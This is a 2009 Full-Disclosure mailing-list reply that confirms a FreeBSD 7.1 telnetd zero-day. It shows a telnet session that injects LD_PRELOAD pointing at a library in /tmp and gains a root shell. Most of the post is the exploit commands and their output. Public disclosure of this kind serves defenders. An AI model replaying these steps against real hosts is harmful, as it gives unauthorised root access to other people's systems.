full-disclosure - Re: FreeBSD zeroday

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [<thread-prev] [day] [month] [year] [list]

Date: Sat, 14 Feb 2009 15:48:16 -0700
From: don bailey <don.bailey@...il.com>
To: full-disclosure@...ts.grok.org.uk
Subject: Re: FreeBSD zeroday

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Confirmed on 7.1-RELEASE, latest update:

%id
uid=100(donb) gid=127(beastie) groups=127(beastie),0(wheel)
%telnet
telnet> auth disable SRA
telnet> environ define LD_PRELOAD /tmp/libno_ex.so.1.0
telnet> open beastie
Trying 172.16.95.104...
Connected to beastie.testdrive.kernelspace.net.
Escape character is '^]'.

FreeBSD/i386 (beastie.testdrive.kernelspace.n) (ttyp5)

# id
uid=0(root) gid=0(wheel) groups=0(wheel),5(operator)
# uname -r
7.1-RELEASE
#

Even though no-one should be running telnetd this is a pretty cool bug.
Nice find, holmes.

D

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.9 (GNU/Linux)

iEYEARECAAYFAkmXSi8ACgkQttfe3HwtctPrdwCeP+Z27V+NCOdaMNkcKvEtj1Nk
WWwAoKkyecDvbPWWfReJ/AC9Z89JyQLX
=uLkX
-----END PGP SIGNATURE-----

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/